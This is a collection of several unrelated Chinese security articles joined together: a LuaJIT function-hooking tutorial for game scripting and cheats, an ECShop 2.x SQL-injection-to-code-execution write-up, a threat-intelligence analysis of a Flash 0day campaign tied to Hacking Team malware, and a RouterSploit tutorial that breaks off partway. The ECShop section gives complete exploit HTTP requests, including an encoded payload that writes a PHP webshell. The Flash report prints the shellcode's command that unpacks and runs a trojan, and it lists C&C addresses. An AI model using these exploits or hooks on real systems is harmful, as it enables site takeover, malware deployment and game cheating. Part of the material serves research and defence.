Lua的普及性使得它成为hook的理想目标。此外，由于游戏开发者使用Lua来添加内容及功能，因此游戏所包含的Lua环境就成为拥有大量功能的强大主机环境。
出于性能要求，使用[LuaJIT](http://luajit.org/)来替代vanilla
Lua是非常常见的场景。因此，在本文中我会探讨如何攻击LuaJIT。只要稍作修改，这种攻击技术也可以应用于vanilla Lua。
**二、注入Lua代码**
****
为了创建Lua环境，我们需要调用luaL_newstate返回一个lua_State对象，然后将其作为参数，调用luaL_openlibs即可。有人可能想通过劫持luaL_newstate的执行来注入代码，然而这种方法并不能奏效。因为此时程序库还没有加载，因此加载脚本不会起到任何作用。然而，我们可以劫持
**luaopen_jit**
函数，这个函数正是打开程序库时所调用的最后一个函数（参考[此处](https://github.com/LuaDist/luajit/blob/master/src/lib_init.c#L18-L30)）。
动态链接LuaJIT时，我们可以查找 **导出表** 来定位这个函数：
静态链接LuaJIT时，我们可以使用一些特征字符串来进行定位：
一旦找到这个函数，hook就不是件难事。然而，在hook之前，我们需要找到两个函数： **luaL_loadfilex**
这个函数用来加载我们的Lua脚本， **lua_pcall**
这个函数用来执行Lua脚本。动态链接时，我们可以在导出表中找到这两个函数；静态链接时，我们可以使用“=stdin”字符串来定位第一个函数（参考[此处](https://github.com/LuaDist/luajit/blob/master/src/lj_load.c#L99)）：
定位第二个函数需要多费点功夫，因为该函数没有关联某个特征字符串。然而幸运的是，该函数在内部调用时（参考此处），位于“=(debug command)”之后：
注意，上图中我们还能观察到 **luaL_loadbuffer** 函数的地址，牢记这一点，回头要用到。
识别出这些地址后，我们就可以开始写hook代码了：
typedef void* lua_State;
typedef int (*_luaL_loadfilex)(lua_State *L, const char *filename, const char *mode);
_luaL_loadfilex luaL_loadfilex;
typedef int (*_luaopen_jit)(lua_State *L);
_luaopen_jit luaopen_jit_original;
typedef int (*_lua_pcall)(lua_State *L, int nargs, int nresults, int errfunc);
_lua_pcall lua_pcall;
int luaopen_jit_hook(lua_State *L)
{
int ret_val = luaopen_jit_original(L);
luaL_loadfilex(L, "C:\test.lua", NULL) || lua_pcall(L, 0, -1, 0);
return ret_val;
}
BOOL APIENTRY DllMain(HMODULE mod, DWORD reason, LPVOID res)
{
switch (reason) {
case DLL_PROCESS_ATTACH: {
luaL_loadfilex = (_luaL_loadfilex)LOADFILEEX_ADDR;
lua_pcall = (_lua_pcall)PCALL_ADDR;
HookCode(OPENJIT_ADDR, luaopen_jit_hook, (void**)&luaopen_jit_original);
break;
}
}
return TRUE;
}
我的hook代码如上所示，使用的是自己开发的hook引擎。你可以使用[Detours](https://www.microsoft.com/en-us/research/project/detours/)或者自己的引擎。需要牢记的是，hook点应该位于DLL中，以便注入到进程中。
现在，创建Lua环境时，“ **C:test.lua** ”就会被加载到这个环境中。通常情况下，我首先会注入代码，使用 **debug.sethook**
来劫持对Lua函数的所有调用以及相应的参数，以便后续分析：
lua jit.off()
FILEPATH = "C:LuaJitHookLogs" STARTINGTIME = os.clock() GDUMPED = false
function dumpGlobals() local fname = FILEPATH .. "globals" .. STARTING_TIME .. ".txt" local globalsFile = io.open(fname, "w") globalsFile:write(table.show(G, "G")) globalsFile:flush() globalsFile:close() end
function trace(event, line) local info = debug.getinfo(2)
if not info then return end
if not info.name then return end
if string.len(info.name) <= 1 then return end
if (not GDUMPED) then
dumpGlobals()
GDUMPED = true
end
local fname = FILE_PATH .. "trace_" .. STARTING_TIME .. ".txt"
local traceFile = io.open(fname, "a")
traceFile:write(info.name .. "()n")
local a = 1
while true do
local name, value = debug.getlocal(2, a)
if not name then break end
if not value then break end
traceFile:write(tostring(name) .. ": " .. tostring(value) .. "n")
a = a + 1
end
traceFile:flush()
traceFile:close()
end debug.sethook(trace, "c")
这段代码可以提取到一堆有价值的全局信息以及跟踪信息，存放在“ **C:LuaJitHookLogs** ”目录下。
**三、详细分析**
****
如果你非常熟悉Lua，你可以跳过这个部分，不然的话，你可以跟着我分析这个脚本的具体内容。
首先，我调用了jit.off函数，因为debug库无法劫持由jit引擎实时编译的那些调用代码。
在dumpGlobals函数内部，我将名为_G的表打印出来。这是个全局对象表，Lua使用这个表来跟踪全局域内的所有内容，并将跟踪结果以“key,
value”键值对形式保存在该表中。你肯定能够想到，这个表的价值非常高。根据你的具体情况，你可能需要晚一点再调用dumpGlobals函数，因为有些游戏在调用第一个函数时并没有把所有的全局变量分配完毕。
我使用了 **debug.sethook(trace, "c")**
语句，使Lua在每个函数调用完成之前调用trace这个函数。在trace函数内部，我调用了 **debug.getinfo(2)**
以获取被劫持的函数名称。由于trace函数为当前正在使用的函数，也就是说该函数在栈上的级别为1，因此被劫持的函数的级别为2。然后我循环调用了debug.getlocal(2,
a)，其中a的值从1开始不断累加，直至该语句返回空值（nil）为止。通过这种方式，我们可以循环遍历级别为2的栈，找到所有的本地变量，并将查找结果以键值对的形式保存起来。对某个游戏这样处理后，我找到了如下信息，你可以根据这些信息猜到这是哪个游戏：
type()
(*temporary): table: 074FA7D0
{
IsDestroyed = false,
NumOfSpawnDisables = 0,
SpawnOrderMinionNames =
{
"Super",
"Melee",
"Cannon",
"Caster",
},
WillSpawnSuperMinion = 0,
}
我们可以调用type来确定对象的类型，但对象本身就可以告诉我们关于该游戏的一些有趣信息。
如果我们愿意的话，我们可以使用debug.setlocal将参数改成某些函数。
**四、劫持Lua代码**
****
在许多情况下，我们需要劫持整个Lua脚本。通过这种方式，我们不需要将跟踪结果拼接起来，就可以详细分析游戏所用的脚本，理解脚本具体功能。Lua代码可以以文件或者缓冲区的形式加载到LuaJIT环境中。由于分析磁盘上的文件比较容易，因此我们会重点关注使用缓冲区的这种情况以及luaL_loadbuffer这个函数。
这个函数实际上有两种表现形式：分别为luaL_loadbuffer以及luaL_loadbufferex。这两个函数基本相同，第一个函数会调用第二个函数，只不过会把最后一个参数设为NULL（[参考此处](https://github.com/LuaDist/luajit/blob/master/src/lj_load.c#L146-L155)）。你可以会认为，只要hook
luaL_loadbufferex这个函数，我们就可以搞定这两种情况，然而事实并非如此。由于LuaJIT主要是针对性能优化而设计的，因此通常情况下luaL_loadbufferex会以内联形式使用。然而，这两个函数最终都会调用如下这个函数（[参考此处](https://github.com/LuaDist/luajit/blob/master/src/lj_load.c#L48-L62)）：
int lua_loadx(lua_State *L, lua_Reader reader, void *data, const char *chunkname, const char *mode);
LuaJIT偏向于使用内联代码，导致这个函数也变成内联形式。然而，这里最有用的是lua_Reader reader，这个回调函数知道如何将void
*data转换为包含Lua代码的缓冲区。当LuaJIT加载位于缓冲区中的代码时，reader变为reader_string的地址（[参考此处](https://github.com/LuaDist/luajit/blob/master/src/lj_load.c#L127-L135)），而void
*data所指向的char*字符串即为具体的Lua代码。
**reader_string** 不是内联函数，因为它的地址可以作为回调指针来传递，因此我们可以在luaL_loadbuffer内部找到这个地址：
利用这个地址，我们可以构造一个hook，来劫持并显示已加载的所有Lua缓冲区：
typedef const char* (*_reader_string)(lua_State *L, void *ud, size_t *size);
_reader_string reader_string_original;
const char* reader_string_hook(lua_State *L, void *ud, size_t *size)
{
if (((size_t*)ud)[1] > 0)
MessageBoxA(NULL, ((char**)ud)[0], "LuaJITHook", MB_OK);
return reader_string_original(L, ud, size);
}
// from DllMain DLL_PROCESS_ATTACH
HookCode(READERSTRING_ADDR, reader_string_hook, (void**)&reader_string_original);
当然使用对话框来显示并不是优雅的解决办法，不要在意这个细节，你理解我的意思就可以了。
**五、总结**
****
这种方法非常强大。许多游戏提供了Lua脚本功能，可以实现自动化、拉高游戏视图以及ESP（透视）黑科技等。不同的游戏使用Lua的方法有所不同，但他们的工作原理都与本文的例子相似。
你可以在这段hook代码的基础上进行修改，添加扫描功能，自动定位这些函数，比如，你可以使用[XenoScan](https://github.com/nickcano/XenoScan)这个库来完成这个任务。
如果你有什么意见或者建议，可以随时发表评论，也可以关注我的[推特](https://twitter.com/nickcano93)了解我最新发布的信息。 | 社区文章 |
作者：ringk3y
作者博客：<http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/>
### 前言
问题发生在user.php的display函数，模版变量可控，导致注入，配合注入可达到远程代码执行
### 漏洞分析
#### 0x01-SQL注入
先看user.php
`$back_act`变量来源于`HTTP_REFERER`，我们可控。
assign函数用于在模版变量里赋值
再看display函数
**读取`user_passport.dwt`模版文件内容，显示解析变量后的html内容，用`_echash`做分割，得到`$k`然后交给`isnert_mod`处理，由于`_echash`是默认的，不是随机生成的，所以$val内容可随意控制。**
再看`insert_mod`函数
非常关键的一个地方，这里进行了动态调用
$val传入进来用|分割，参数传入进来时需要被序列化
再看`include/lib_insert.php`中的`insert_ads`函数
可以看到这里直接就能注入了
payload:
GET /user.php?act=login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
#### 0x02-代码执行
继续看fetch函数
追踪`_eval`函数
`$position_style`变量来源于数据库中的查询结构
然后我们继续构造SQL注入，因为这段sql操作 order by部分换行了截断不了 所以需要在id处构造注释来配合num进行union查询
payload
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2,3,4,5,6,7,8,9,10-- -
函数中有一个判断
我们 id传入`’/*`
num传入`*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10– -`就能绕过了
var_dump一下
再看fetch函数,传入的参数被fetch_str函数处理了
追踪fetch_str函数，这里的字符串处理流程比较复杂
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
这一行意思是比如`$source`是`xxxx{$asd}xxx`,那么经过这行代码处理后就是返回`this->select(‘$asd’)`的结果
看看select函数
第一个字符为$时进入`$this->get_val`函数
我们`$val`没有`.$`又进入`make_var`函数
最后这里引入单引号从变量中逃逸
我们要闭合`_var`所以最终payload是
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//}xxx
会在网站跟目录生成1.txt 里面内容是getshell
GETSHELL exp:
GET /user.php?act=login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
会在网站根目录生成1.php 密码是1337
### 修复建议
`intval $arr[id]`和`$arr[num]`
### thanks
感谢xyz老哥
* * * | 社区文章 |
# Flash 0day + Hacking Team远控：利用最新Flash 0day漏洞的攻击活动与关联分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
360威胁情报中心在2018年11月29日捕获到两例使用Flash 0day漏洞配合微软Office
Word文档发起的APT攻击案例，攻击目标疑似乌克兰。这是360威胁情报中心本年度第二次发现在野0day漏洞攻击。攻击者将包含Flash
0day漏洞的Word诱饵文档发送给目标，一旦用户打开该Word文档便会触发漏洞并执行后续的木马程序，从而导致电脑被控制。360威胁情报中心在确认漏洞以后第一时间通知了厂商Adobe，Adobe在今日发布的安全通告中致谢了360威胁情报中心。
Adobe反馈确认漏洞存在并公开致谢
整个漏洞攻击过程非常巧妙：攻击者将Flash
0day漏洞利用文件插入到Word诱饵文档中，并将诱饵文档和一个图片格式的压缩包（JPG+RAR）打包在一个RAR压缩包中发送给目标。目标用户解压压缩包后打开Word文档触发Flash
0day漏洞利用，漏洞利用代码会将同目录下的JPG图片（同时也是一个RAR压缩包）内压缩保存的木马程序解压执行，通过该利用技巧可以躲避大部分杀毒软件的查杀。360威胁情报中心通过对木马样本进行详细分析，发现本次使用的木马程序为Hacking
Team 2015年泄露的远程控制软件的升级版！相关数字攻击武器与Hacking Team有很强的关联性，且使用相同数字签名的Hacking
Team木马最早出现在2018年8月。
由于此漏洞及相应的攻击代码极有可能被黑产和其他APT团伙改造以后利用来执行大规模的攻击，构成现实的威胁，因此，360威胁情报中心提醒用户采取应对措施。
## 事件时间线
时间
|
内容
---|---
2018年11月29日
|
360威胁情报中心发现定向攻击样本线索
2018年11月30日
|
发现并确认Flash 0day漏洞的存在并上报Adobe
2018年12月03日
|
厂商Adobe确认漏洞的存在
2018年12月05日
|
360威胁情报中心发布分析报告
## 相关漏洞概要
漏洞名称
|
Adobe Flash Player远程代码执行漏洞
---|---
威胁类型
|
远程代码执行
威胁等级
|
高
漏洞ID
|
CVE-2018-15982
利用场景
|
攻击者通过网页下载、电子邮件、即时通讯等渠道向受害者发送恶意构造的Office文件诱使其打开处理，可能触发漏洞在用户系统上执行任意指令获取控制。
受影响系统及应用版本
|
Adobe Flash Player（31.0.0.153及更早的版本）
不受影响影响系统及应用版本
|
Adobe Flash Player 32.0.0.101（修复后的最新版本）
修复及升级地址
|
https://get.adobe.com/flashplayer/
## 样本概况
从捕获到的样本相关信息推测判断这是一起针对乌克兰地区的APT攻击。样本于11月29日被上传到VirusTotal以后的几天内只有很少的杀毒软件能够检出，
360威胁情报中心通过细致的分析发现了其中包含的0day漏洞利用。
被捕获的其中一个Word文档在VirusTotal上的查杀情况如下：
## 攻击过程分析
通过对样本执行过程的跟踪记录，我们还原的样本整体执行流程如下：
包含Flash 0day的恶意文档整体执行流程
### 诱饵文档和图片格式的压缩包
攻击者疑似首先向相关人员发送了一个压缩包文件，该压缩包含一个利用Flash
0day漏洞的Word文档和一张看起来有正常内容的JPG图片，并诱骗受害者解压后打开Word文档：
而scan042.jpg图片实际上是一个JPG图片格式的RAR压缩包，文件头部具有JPG文件头特征，而内部包含一个RAR压缩包。由于RAR识别文件格式的宽松特性，所以该文件既可以被当做JPG图片解析，也可以当做RAR压缩包处理：
JPEG文件头
内置RAR压缩包
诱饵文档为俄语内容，是一份工作人员的调查问卷，打开后会提示是否播放内置的Falsh，一旦用户允许播放Flash，便会触发0day漏洞攻击：
### Flash 0day漏洞对象
该诱饵文档在页眉中插入了一个Flash 0day漏洞利用对象：
提取的Flash 0day漏洞利用文件如下：
Flash文件中包含的ShellCode：
### ShellCode
Flash
0day漏洞利用成功后执行的ShellCode会动态获取函数地址，随后调用RtlCaptureContext获得当前的栈信息，然后从栈中搜索0xDEC0ADDE、0xFFEFCDAB标志，此标志后的数据为CreateProcess函数需要使用的参数，最后调用CreateProcess函数创建进程执行命令：
动态获取函数地址：
搜索CreateProcess函数需要使用的参数：
调用CreateProcess函数执行命令：
### 通过Flash 0day漏洞执行命令
漏洞利用成功后执行的ShellCode最终会执行以下命令：
cmd.exe /c set path=%ProgramFiles(x86)%\WinRAR;C:\Program Files\WinRAR; && cd /d %~dp0 & rar.exe e -o+ -r -inul *.rar scan042.jpg & rar.exe e -o+ -r -inul scan042.jpg backup.exe & backup.exe
该命令行的最终目的是将当前文档路径下的scan042.jpg文件使用WinRAR解压后并执行其中的backup.exe，从而完成对目标用户电脑的控制：
## Flash 0day漏洞分析
360威胁情报中心对该漏洞产生的原因及利用方法进行了详细分析，过程如下：
### 漏洞分析 – 释放后重用漏洞（UAF）
反编译提取的漏洞SWF文件如下所示，Exploit中的代码没有经过任何混淆：
经过分析可以发现，漏洞和今年年初Group 123组织使用的Flash 0day CVE-2018-4878十分类似，CVE-2018-4878
是由于Flash om.adobe.tvsdk包中的DRMManager导致，而该漏洞却和com.adobe.tvsdk中的Metadata有关。
SWF样本一开始定义了三个Vector（主要用于抢占释放的内存空间，其中Var15，Var16分别在32位和64位版本中使用）：
进入Var17函数后，该函数一开始进行了一些常规的SPRAY，然后申明了一个名为Metadata的对象。Metadata类似于一个map：
Metadata为Flash提供的SDK中的类，其支持的方法如下所示：
漏洞触发的关键代码如下，通过setObject向Metadata中存储ByteArray对象，并设置对应的key：
然后调用Var19()，该函数会导致Flash中GC垃圾回收器调用，从而使导致Meatdata被释放：
随后调用的keySet会根据设置的key返回对应的Array，并赋值给_local_6，setObject函数的定义如下所示：
KeySet函数如下所示：
Metadata中的array被释放后，此处直接通过Var14遍历赋值抢占对应的内存，抢占的对象为Class5：
Class5定义如下所示：
最后遍历_local_6，找到对应被释放之后被Class5抢占的对象，判断的标准是Class5中的24，之后通过对象在内存中的不同来判断运行的系统是32位还是64位。而再次调用Var19函数将导致之前的Class5对象内存再次被释放，由于Var14这个Vector中保存了对该Class5对象的引用，最终根据系统版本位数进入对应的利用流程：
进入函数Var56后，由于之前的Var14 Vector中的某个Class5对象已经释放，此处同样通过给Var15
Vector遍历赋值来抢占这个释放掉的Class5对象，此处使用的是Class3对象：
Class3如下所示，其内部定义了一个Class1，最终由Class1完成占位：
可以看到Class1对象的定义如下，此时由于Var14和V15中都存在对最初Class5内存的引用，而Var14和V15中对该内存引用的对象分别是Class5，Class3，从而导致类型混淆：
由于Class3，Class5是经过攻击者精心设计的，此时只需操作Var14，Var15中的引用对象即可以获得任意地址读写的能力：
获取任意地址读写后便可以开始搜索内存，获取后续使用的函数地址，之后的流程便和一般的Flash漏洞利用一致：
## 木马分析 – backup.exe
后续执行的木马程序使用VMProtect加壳，样本相关信息如下：
MD5
|
1CBC626ABBE10A4FAE6ABF0F405C35E2
---|---
文件名
|
backup.exe
数字签名
|
IKB SERVICE UK LTD
加壳信息
|
VMProtect v3.00 – 3.1.2 2003-2018
### 伪装NVIDIA显卡控制程序
木马伪装成了NVIDIA的控制面板程序，并有正常的数字签名，不过该数字签名的证书已被吊销：
NVIDIA Control Panel Application
证书信息
木马程序中还会模仿正常的NVIDIA控制面板程序发送DirectX相关的调试信息：
有趣的是木马作者拼写单词Producer时发生了拼写错误，将Producer拼写成了Producet：
DXGI WARNING: Live Producet at 0x%08x Refcount: 2. [STATE_CREATION WARNING #0: ]
### 通过特定窗口过程执行木马功能
通过对VMProtect加密后的代码分析发现，木马运行后会首先创建一个名为“DXGESZ1Dispatcher”的窗口类，该窗口类对应的窗口过程函数就是整个木马的主要控制流程函数，木马程序的主要功能将通过分发窗口消息的方式来驱动执行：
当CreateWindowExW被调用时，会向窗口过程函数发送WM_CREATE消息，当窗口过程函数收到WM_CREATE消息时会创建3个线程，分别进行环境检测、用户是否有输入操作检测等来检测程序是否在真实环境下运行：
当检测通过后，会继续向窗口过程发送WM_USER+1消息，进一步控制程序的运行流程。当窗口过程函数收到该消息后，会再创建一个线程来初始化SHLWAPI.DLL和WS_32.DLL里需要使用的API函数：
紧接着利用OutputDebugStringA输出一个伪装的Debug信息：“DXGI WARNING: Live Producet at 0x%08x
Refcount: 2. [STATE_CREATION WARNING #0:
]”，该信息是正常程序在使用了DirectX编程接口后可能会输出的调试信息，木马程序以此来进一步伪装NVIDIA控制面板程序：
另外还会判断当前的进程ID是否为4，如果是则结束当前进程运行，该技巧一般被用于检测杀毒软件的虚拟机：
### 检测杀毒软件
该木马程序还会通过一些技巧判断当前计算机是否安装某些特定的杀毒软件，比如检测驱动目录里是否存在avckf.sys，而avckf.sys正是BitDefender杀毒软件特有的驱动模块：
以及通过WMI执行命令“Select*from Win32_Service WhereName=’WinDefend’ AND StateLIKE
‘Running’ ”来确定是否有Windows Defender正在运行：
### 持久化
木马程序会将自身拷贝到%APPDATA%\ NVIDIAControlPanel\NVIDIAControlPanel.exe：
然后通过发送窗口消息的方式触发主线程设置计划任务来实现持久化：
### 上线并加密上传本机信息
当木马窗口过程收到消息类型为WM_USER的消息时，木马会创建一个线程用于获取本机的进程信息、CPU信息、用户信息、计算机所在时区信息等，并把获取的信息加密后通过HTTP协议上传到C&C地址：188.241.58.68，然后等待获取新的指令进行远程控制：
* 从注册表获取已安装软件：
* 执行命令SELECT*FROM Win32_TimeZone获取时区：
* 获取磁盘信息：
* 连接C&C地址：188.241.58.68，并上传本机信息：
## 溯源与关联 – Hacking Team
360威胁情报中心通过对木马样本进行详细分析，发现本次使用的木马程序为Hacking Team
2015年泄露的远程控制软件的升级版！本次的木马程序将字符串进行了加密处理，且增加了使用窗口消息来对木马流程进行控制等功能。
### 与Hacking Team泄露源码的关联
由于后门程序backup.exe使用VMProtect加密的影响，我们无法截取到比较完美的IDA
F5伪代码，但我们确定其绝大多数的功能代码和逻辑都与Hacking Team之前泄露的源码一致，下面是我们展示的部分IDA F5伪代码与Hacking
Team泄露源码的对比：
检测沙箱
初始化WINHTTP
关闭WINHTTP HANDLE
### 同源样本关联
360威胁情报中心通过本次0day漏洞攻击使用的木马程序还关联到两个同类样本，两个木马程序使用了相同的数字签名，木马功能也基本一致，同样是来源于Hacking
Team的远控木马，且使用相同数字签名的Hacking Team木马最早出现在今年8月。
其中一个木马程序同样是伪装成NVIDIA控制面板程序，C&C地址为：80.211.217.149，另外一个木马程序则伪装成Microsoft
OneDrive程序，C&C地址为：188.166.92.212
伪装成Microsoft OneDrive程序的Hacking Team远控
### 关于Hacking Team
360威胁情报中心结合多方面的关联，列举本次0day攻击事件和历史Hacking Team之间的一些对比：
* 本次0day漏洞的Exploit执行的后续木马为Hacking Team泄露的远程控制软件的升级版
* 在过去Hacking Team泄露资料中表明其对Flash 0day漏洞和利用技术有深厚的基础；而本次0day漏洞中的利用手法实现也是非常通用
* Hacking Team长期向多个情报机构或政府部门销售其网络间谍武器
## 总结
至此，360威胁情报中心通过捕获到的0day漏洞利用样本和后续执行的木马程序关联到Hacking Team组织，自Hacking
Team泄露事件以来，其新的相关活动及其开发的间谍木马也被国外安全厂商和资讯网站多次披露，证明其并没有完全销声匿迹。
## 防护建议
360威胁情报中心提醒各单位/企业用户，谨慎打开来源不明的文档，并尽快通过修复及升级地址下载安装最新版Adobe Flash
Player，也可以安装360安全卫士/天擎等防病毒软件工具以尽可能降低风险。
参考
* 补丁公告： https://helpx.adobe.com/security/products/flash-player/apsb18-42.html
* 修复及升级地址： https://get.adobe.com/flashplayer/
* 360威胁情报中心早期发现的疑似Hacking Team的Flash 0day漏洞分析: https://ti.360.net/blog/articles/cve-2018-5002-flash-0day-with-apt-campaign/
* Hacking Team泄露源码: https://github.com/hackedteam/scout-win
* https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/
## IOC
Word文档
---
9c65fa48d29e8a0eb1ad80b10b3d9603
92b1c50c3ddf8289e85cbb7f8eead077
Word文档作者信息
tvkisdsy
Кирдакова
Flash 0day漏洞利用文件
8A64017953D0840323318BC224BAB9C7
Flash 0day漏洞利用文件编译时间
Sep 15, 2014
Hacking Team后门程序
1cbc626abbe10a4fae6abf0f405c35e2
7d92dd6e2bff590437dad2cfa221d976
f49da7c983fe65ba301695188006d979
C&C地址
188.241.58.68:80
188.166.92.212:80
80.211.217.149:80
Hacking Team使用的数字签名
Name: IKB SERVICE UK LTD
Serial number: 57 5f c1 c6 bc 47 f3 cf ab 90 0c 6b c1 8a ef 6d
Thumbprint: d8 7a a2 1d ab 22 c2 f1 23 26 0b 1d 7a 31 89 3c 75 66 b0 89 | 社区文章 |
原文：<https://null-byte.wonderhowto.com/how-to/seize-control-router-with-routersploit-0177774/>
路由器是所有人互联网体验的核心，然而大多数人都不会花太多时间来设置这个关键的硬件。旧固件、默认密码和其他配置问题仍然困扰着许多厂商。利用路由器中的这些脆弱的、被忽视的系统已经变得如此容易，以至于自动化工具都被创造出来，使这一过程变得轻而易举。
在这个教程中，我们将学习如何使用[RouterSploit](https://github.com/reverse-shell/routersploit)，这是一个自动化路由器利用的工具。但是在我们深入讨论之前，让我们先了解一下可用工具的背景信息，以及路由器利用如此之大的原因。
# 路由器利用的基础知识
路由器利用的工作原理是: 突破路由器的Wi-Fi安全，绕过管理登录页面，访问管理功能。然后，熟练的攻击者可以针对运行路由器的现有固件，将自定义固件放入路由器以启用高级恶意功能，这种做法被称为“rootkitting”。
根据攻击者的目标和资源，这可能包括监视用户和任何连接的设备，向浏览器中注入恶意软件以利用连接的设备，启用高级的[钓鱼攻击](https://null-byte.wonderhowto.com/how-to/hack-like-pro-spear-phish-with-social-engineering-toolkit-set-backtrack-0148571/)，以及通过被利用的路由器为非法流量路由以进行犯罪活动。
# 政府路由器Hacking和Cherry Blossom
美国国家安全局（NSA）和中央情报局（CIA）等政府机构囤积了一些路由器漏洞，而ShadowBrokers则威胁要在产生[WanaCry（或WannaCry）](https://null-byte.wonderhowto.com/news/wannacry-ransomware-only-works-if-you-havent-updated-your-computer-months-0177575/)的Windows
SMB漏洞之后发布[这些漏洞](https://thehackernews.com/2017/05/shodow-brokers-wannacry-hacking.html)。 如果他们在6月份遇到泄漏路由器漏洞的威胁，那么像Cherry Blossom这样的工具可能会成为主流。
* 不要错过：[如何使用Shodan查找任何路由器的Web界面](https://null-byte.wonderhowto.com/how-to/hack-like-pro-find-any-routers-web-interface-using-shodan-0154660/)
NSA和CIA的这些工具控制受感染路由器的整个网络，将它们转换为先进的现场无线间谍设备。
当你可以把所有家用路由器都变成一个时，为什么还要安装一个神奇的间谍设备呢？
Cherry
Blossom是一个rootkitting主框架，其中路由器被自动利用并转换为“flytrap”。flytrap是一种路由器，它已经被破坏，并更新了特殊的固件，以防止用户更新或修改新固件。
Cherry Blossom可以控制许多“flytraps”，提供即时访问位于家中或目标工作的预防间谍设备。
flytrap会建立一个“信标”并返回到一个名为“Cherryweb”的命令和控制服务器，然后由操作员通过加密的VPN隧道分配“任务”。高级模块，如“Windex”，可以对任何连接的目标进行驱动式恶意软件注入攻击，它可以将一个flytrap变成一个高级远程间谍平台，可以从任何地方进行控制。
Cherry Blossom显示要发送到flytrap设备的任务命令，包括shell代码，侦察脚本和漏洞利用程序。 一些可怜的家伙会得到他的Cherry
Blossom。
# IoT犯罪与路由器Hacking
除了CIA关注的间谍应用程序之外，可利用的路由器和物联网设备通常因其路由能力而成为攻击目标。
RouterSploit，我们今天使用的工具，不仅会损害路由器，还可以追踪网络摄像头和其他连接设备。
虽然CIA使用VPN连接来隐藏与命令和控制服务器之间的流量，但[网络犯罪分子将使用这些设备代理恶意流量](https://krebsonsecurity.com/tag/tomato/)以避免检测。
实际上，这些被感染的路由器和物联网设备的网络作为黑市代理被出售，用于隐藏信用卡被盗，暗网交易和DDoS攻击等非法活动。
由于未能保护您的路由器，您可能会被注册为黑客犯罪企业的中继流量。
大多数人设置好路由器之后就忘了更改默认设置，更新固件或以其他方式保护它们。
# 初学路由器Hacking
虽然尝试默认密码是利用路由器的第一步，但也有更高级的框架适合初学者。为什么初学者想要利用路由器?在本地级别上，如果你完全破坏了路由器，你将可以完全访问网络。这使你可以控制目标的互联网体验并将其路由到你想要的任何地方，或转发端口以进行远程访问。
你应该考虑一个路由器，作为一个早期的和富有成效的目标，采取在一个阶段的接触。即使您是初学者，只要在RouterSploit上运行Autopwn扫描器，就可以针对目标IP地址自动测试一系列漏洞，将发现潜在漏洞的过程缩短到几秒钟。
# 什么是RouterSploit？
RouterSploit是一个便利的Python程序，它可以自动完成与路由器相关的大部分任务。以[Metasploit](https://null-byte.wonderhowto.com/how-to/metasploit-basics/)为模型，任何熟悉Metasploit框架的人都熟悉它的命令。它包含扫描和利用模块，可以用于Kali
Linux(如果需要，还可以用于macOS或Mac OS X)。
* 不要错过：[在Null Byte上开始使用Metasploit](https://null-byte.wonderhowto.com/how-to/hack-like-pro-getting-started-with-metasploit-0134442/)
与目标网络关联后，运行扫描将显示是否可以通过框架轻松利用路由器。 今天，我们将通过Autopwn功能快速识别路由器和连接设备上的漏洞。
RouterSploit利用框架的登陆页面，其中包含Autopwn选项。
# 让其运行起来 - 你需要什么
RouterSploit很棒，因为它可以运行在Kali Linux、[我们的Kali Raspberry Pi](https://null-byte.wonderhowto.com/how-to/set-up-headless-raspberry-pi-hacking-platform-running-kali-linux-0176182/)、macOS或Mac OS
X、Windows，甚至可以运行在一个没有root的Android手机上。首先，我们需要处理一些依赖关系并确保安装了Python。除此之外，在你手边的任何设备上，破坏路由器从来没有这么简单过。
## 安装Python和依赖项
为了继续，我们需要确保已经安装了Python，并且还需要以下一些包。
* Python3 (with pip)
* Requests
* Paramiko
* Beautifulsoup4
* Pysnmp
* Gnureadline (macOS / Mac OS X only)
你可以用[apt-get](https://null-byte.wonderhowto.com/how-to/hack-like-pro-linux-basics-for-aspiring-hacker-part-5-installing-new-software-0147591/)安装它们：
apt-get install python3-pip requests paramiko beautifulsoup4 pysnmp
## 在Mac, Kali或其他设备上安装RouterSploit
要在Kali Linux上安装，打开一个终端窗口，输入以下命令:
